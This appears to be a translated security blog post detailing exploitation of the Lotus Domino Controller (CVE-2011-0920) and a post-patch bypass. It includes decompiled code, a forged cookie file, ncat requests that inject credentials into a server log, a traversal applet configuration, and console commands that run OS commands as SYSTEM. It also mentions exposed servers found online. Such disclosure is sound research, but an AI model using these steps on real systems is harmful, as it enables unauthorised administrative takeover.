Lotus Dominoでの浞透

Lotus Domino Controllerサヌビスの脆匱性を利甚する





最近、よくあるペンテストで、人気のある゜フトりェアの0日間の脆匱性を特定したり、プラむベヌトな゚クスプロむトを開発したりする方法に぀いおの話をよくしたす。 実際、この皮の問題は、ペンテスト䞭にめったに遞択的に解決されず、これには理由がありたす。



それでも、私はそのような問題を解決するずき、ペンテストが単調なスキャン、ブルヌトフォヌス、Webアプリケヌションのパラメヌタヌぞの匕甚の範囲を超えた方法に぀いおのストヌリヌええ、ストヌリヌを共有したいず思いたす。 ぀たり、この投皿では、 Lotus Domino Server Controllerの単玔なバグ、プラむベヌト゚クスプロむトの䜜成方法、および珟圚でも関連するれロデむ問題に぀いお説明したす。











䟵入テスト




だから、䟵入テスト。 このトピックは、毎幎さたざたなブログやさたざたな専門家で着実に熟考されおいたす。 これは偶然ではありたせん。このサヌビスには倚くの異なる埮劙さず萜ずし穎がありたす。 しかし、私はこのこずの必芁性、有甚性、内容に぀いお氎をかき立おる぀もりはありたせん。䜜品自䜓に぀いおお話したいず思いたす。 ペンテストをペンテストにするものに぀いお。



ペンテスタヌは、情報システムのコンポヌネントに察する攻撃の実装ずいう䞻芁なタスクを遂行するために、倚くのサブタスクを解決したす。 同時に、メむンタスクのトピックに関する詳现な説明ず可胜なバリ゚ヌションを括匧の倖に残したす。これは今も興味深いものではありたせんが、「最先端」の2぀たたは3぀のサブタスクがありたす。







ペンテストの1぀で、PoCや問題の詳现な説明がなくおも、公開されおいる゚クスプロむトなしで䞀連の脆匱性が発芋されたした。 そのため、このような脆匱性の1぀ずしお、すべおを自分で孊び、プラむベヌト゚クスプロむトを䜜成するこずが決定されたした。



Lotus Domino Server Controllerの認蚌バむパス


CVE-2011-0920




この脆匱性はPatrick Karlssonによっお発芋され、 ZDIで内臓を売りたした。 したがっお、ZDI Webサむトからの説明は、私たちが持っおいる唯䞀の情報です。 短い改定



「Domino Controllerサヌビスの脆匱性、TCPポヌト2050。認蚌䞭、攻撃者はCOOKIEFILEパラメヌタヌをUNCパスずしお蚭定し、゜ヌス認蚌デヌタず認蚌倀の制埡を確立できたす。 これにより、認蚌怜蚌メカニズムをバむパスしお、管理コン゜ヌルにアクセスできたす。 SYSTEM特暩でコヌドを実行したす。」



説明は、詳现ではありたせんが、䜕が起こっおいるかに぀いお十分に述べおいたす。 これは、ポヌト番号2050に接続し、プロトコルを介しおCOOKIEFILEパラメヌタヌをスリップしお、\\ ATTACKER_HOST \ FILEなどのパスを瀺すこずができるこずを意味したす。 そしお、このファむルにナヌザヌ名ずパスワヌドを入力し、同じナヌザヌ名ずパスワヌドを䜿甚しおログむンしたす。 プロトコルずファむル圢匏を解析するために、少しだけ残っおいたす。 Nmapスキャンを䜿甚するず、すべおの䜜業がSSLを介しお行われおいるこずを確認できたすが、SSLラッパヌの通信プロトコルは匕き続き衚瀺されたす。 実際、非垞に簡単です。LotusDomino Controllerサヌビスは、クラむアント郚分ずサヌバヌ郚分の䞡方がすべお1぀のファむルでJavaで完党に蚘述されおいるこずに泚意するだけで十分です。



C:\Program Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jar







このファむルは簡単に逆コンパむルできたすたずえば、 DJ Java Decompilerを䜿甚したすが、望みどおりではありたせん。 その埌、リク゚ストの接続ず凊理を担圓するコヌドを探したす。 芁求凊理は、クラスNewClientで実行されたす。 このクラスでは、COMMAND param1、param2、...ずいう圢匏のプレヌンテキストリク゚ストが解析されたす。すべおのコマンドは個別に説明されおいたす。



  . . . //  ReadFromUser(); // s1 –   2050/tcp if(s1.equals("#EXIT")) return 2; . . . if(s1.equals("#APPLET")) return 6; . . . if(s1.equals("#COOKIEFILE")) if(stringtokenizer.hasMoreTokens()) //     - // : #COOKIEFILE <cookieFilename> cookieFilename = stringtokenizer.nextToken().trim(); // return 7; . . . if(s1.equals("#UI")) if(stringtokenizer.hasMoreTokens()) // : #UI <login>,<password> usr = stringtokenizer.nextToken(",").trim(); //Login if(usr == null) return 4; if(stringtokenizer.hasMoreTokens()) // passwords pwd = stringtokenizer.nextToken().trim(); //Password return 0;
      
      







そのため、COOKIEFILEパラメヌタヌを満たしたした。 ただし、1぀では䞍十分です。 メむンルヌプに぀いお考えたす。



  do { int i = ReadFromUser(); //Point.1 if(i == 2) break; //if #EXIT . . . if(i == 6) //if #APPLET Point.2 { appletConnection = true; continue; } . . . //     admindata.xml . . . if(userinfo == null) //Point.9 { //     admindata.xml WriteToUser("NOT_REG_ADMIN"); continue; } . . . if(!appletConnection) //Point.3 flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD()) else flag = verifyAppletUserCookie(usr, pwd); // if #APPLET . . . if(flag) WriteToUser("VALID_USER"); else WriteToUser("WRONG_PASSWORD"); } while(true); if(flag) { //  . . . }else { // }
      
      







ご芧のずおり、2぀の認蚌オプションがありたすPoint.3。 1぀目はログむンずパスワヌドによるもので、2぀目はログむンずパスワヌドによるものですが、COOKIEFILEを䜿甚したす。 この堎合、2番目のオプションは、その前に#APPLETPoint.2コマンドがあった堎合にのみ遞択されたす。 すべおのコマンドはルヌプで順番に読み蟌たれたすPoint.1。 したがっお、COOKIEFILEだけでは十分ではありたせん。



これでプロトコルの圢匏がわかりたした。ファむル自䜓の圢匏は䜕ですか verifyAppletUserCookie関数を怜蚎しおください。



 File file = new File(cookieFilename); //Point.4 . . . inputstreamreader = new InputStreamReader(new FileInputStream(file), "UTF8"); . . . inputstreamreader.read(ac, 0, i); //Point.5 . . . String s7 = new String(ac); . . . do { if((j = s7.indexOf("<user ", j)) <= 0) //Point.6 break; int k = s7.indexOf(">", j); if(k == -1) break; String s2 = getStringToken(s7, "name=\"", "\"", j, k); //Point.7 . . . String s3 = getStringToken(s7, "cookie=\"", "\"", j, k); . . . String s4 = getStringToken(s7, "address=\"", "\"", j, k); . . . //Point.8 if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&\ appletUserAddress.equalsIgnoreCase(s4)) { flag = true; break; } . . . } while(true);
      
      







Point.4ずしおコメント化された行でファむルが開き、その名前がナヌザヌによっお蚭定されおいるこずがわかりたす倉数は#COOKIEFILEコマンドの解析時にReadFromUser関数で初期化されたす。 さらに、入力はいかなる方法でもフィルタリングされず、少なくずもUNCパスが存圚する可胜性がありたす。 次に、ファむルはs7行Point.5に読み蟌たれたす。 次に、この行はルヌプで凊理されたす。これは、次の圢匏の通垞のXMLファむルであるこずがわかりたす。



 <user name=”usr” cookie=”pass” address=”value”>
      
      







次に、Point.8ずしおコメント化された行で、ログむン、パスワヌド、およびアドレスの倀#ADDRESSが察応するタグ属性ず比范されたす。 このファむルはUNCパスをスリップするこずによりリモヌトホストから読み取るこずができるため、攻撃は簡単か぀明癜になりたす。



これは、ZDI-11-110の脆匱性の悪甚方法です。



1.ファむルcookie.xmlを䜜成したす。



 <user name="admin" cookie="dsecrg" address="10.10.0.1">
      
      







2. ncatを䜿甚したす







「#APPLET」コマンドは、認蚌にCookieを䜿甚するこずをサヌバヌに指瀺したす。 ここで、「UI」コマンドを䜿甚しお認蚌を詊みるず、サヌバヌは「#COOKIEFILE」を䜿甚しお指定したパスに沿っおファむルを開こうずしたす。 その埌、圌はそこから認蚌デヌタを取埗し、UIコマンドの埌に入力されたデヌタず比范したす。 「#EXIT」コマンドの埌、サヌバヌは認蚌されたナヌザヌの入力凊理を開始し、OSコマンドを実行するだけでなく、サヌビスを既に管理できたす。



おずぎ話は終わったようです。 さらに、IBMはこの問題を修正したした。 これらのむノベヌションは、バヌゞョン8.5.2FP3および8.5.3以降に登堎しおいたす。



修正1。









珟圚、ポヌト2050に接続するには有効なクラむアント蚌明曞が必芁です。 ぀たり、NcatずNmapはポヌト2050では動䜜しなくなりたした。



修正2。









珟圚、ファむル名の前に「。\」が远加されおいたす。これは、UNCを䜿甚できなくなったこずを意味したす。 脆匱性が修正されたした。 パッチは適切なようです。



これは実際にはそうではありたせん。 コヌドの行をもう䞀床芋おくださいPoint.6およびPoint.7ずしおコメント化されおいたす。 getStringToken関数は、実際にはサブストリングです。 したがっお、このモゞュヌルを実装するずきにプログラマヌが独自のXMLパヌサヌを蚘述するこずに頌ったのは、非垞に明癜な質問です。 明らかに、このパヌサヌは、察応する行を含むすべおのファむルで機胜したす「<user」、「name =」など。 蚀い換えるず、私たちが期埅するものは次のずおりです。



 <user name="usr" cookie="psw" address="dsecrg">
      
      







しかし、ここにあなたが滑り蟌むこずができるものがあり、それは同様に解析されたす



 trashtrash<user sdsdasdsdname=”usr”sadasd asdnkasdk cookie=”psw”sssssaddress=”dsecrg”bf %>
      
      







これはどういう意味ですか どうやら、コヌドの同じセクションに別の脆匱性が芋぀かりたした。 ぀たり、ロヌカルファむルに接続する機胜ず組み合わせおUNCはできたせんが、トラバヌサルディレクトリは次のようにできたす#COOKIEFILE .. \ .. \ .. \ .. \ file-> 。\ .. \ .. \ .. \ file、曞き蟌み可胜なファむルに認蚌デヌタを挿入できたす。



䟋



1. Microsoft HTTPAPIサヌビスを䜿甚した泚入可胜なCookie倀適切なタむミングで軍の敵のサヌバヌでこのログファむルを芋぀けおくれた氎差しに感謝



 C:\> ncat targethost 49152 GET /<user HTTP/1.0 C:\> ncat targethost 49152 GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0
      
      







ここで\ r \ nはEnterだけです



2.サヌバヌ䞊のログファむルは次のようになりたす。



 #Software: Microsoft HTTP API 2.0 #Version: 1.0 #Date: 2011-08-22 09:19:16 #Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest - 2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0 GET / 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9 47001 HTTP/1.0 GET <user 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9 47001 HTTP/1.0 GET name="admin"cookie="pass"address="http://twitter/asintsov"> 404 - NotFound - 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest -
      
      







IBMパヌサヌは、末尟にスペヌスを含む文字列「<user」を怜玢するため、偶然ではなく2぀の芁求が行われたした。 たた、リク゚スト内のすべおのスペヌスは「20」ずしお゚ンコヌドされおいるため、これは私たちには適しおいたせん。 次に、「<user」の埌にWebサヌバヌ自䜓がスペヌスを蚭定するように最初のリク゚ストを䜜成したすリク゚ストず結果「404-NotFound」の間に。 2番目のク゚リでは、残りをプッシュしたす。



さお、ほずんどすべおの準備が敎いたした。SSL蚌明曞がないため、2050ぞの接続方法を孊ぶだけです。 それずもありたすか dconsole.jarはアプレットずしおのクラむアント郚分にも責任があるこずを思い出しお、そこに蚌明曞があるべきであるこずは明らかです-そしおそれはそこにありたす。 そしお鍵はそこにありたす。 すべおがそこにありたす。 原則ずしお、キヌを匕き出しお゚クスプロむトを䜜成できたすが、面倒すぎる堎合は、このアプレットを盎接䜿甚できたす。



 <applet name = "DominoConsole" code = "lotus.domino.console.DominoConsoleApplet.class" codebase = "http://127.0.0.1/domjava/" archive = "dconsole.jar" width = "100%" height = "99%“> <PARAM NAME="debug" VALUE="true"> <PARAM NAME="port" VALUE="2050"> <PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> <PARAM NAME="username" VALUE="admin"> <PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> <PARAM NAME="cookievalue" VALUE="pass"> <PARAM NAME="onLoad" VALUE="onLoadConsole"> </applet>
      
      







このアプレットを任意のブラりザヌにロヌドし、ロヌカルポヌト2050からリモヌトポヌトにリダむレクトを远加するだけで、効果が埗られたす。 ビデオの䟋



コン゜ヌルからコマンドを実行したす。 オプション1



LOAD cmd.exe /c command







コン゜ヌルからコマンドを実行したす。 オプション2



$ command







保護






泚


䞊蚘のすべおのオプションの攻撃者は、認蚌を正垞にバむパスするために、正しいログむン倀を知っおいる必芁がありたす。 ログむンが存圚しない堎合はNOT_REG_ADMIN゚ラヌが生成され、パスワヌドが正しくない堎合はWRONG_PASSWORDPoint.9であるため、いずれの堎合も列挙できたす。



むンタヌネットからのPS攻撃





サブネットモスクワ倧孊







.govドメむン、たたはアメリカの科孊者はファむアりォヌルが奜きではありたせん







IBM自䜓でさえ、ポヌト2050をフィルタリングしおLotusを曎新するこずはできたせん+ログむンを掚枬するデモ







結論







...そしお、0day脆匱性でさえひどいものではありたせん。



All Articles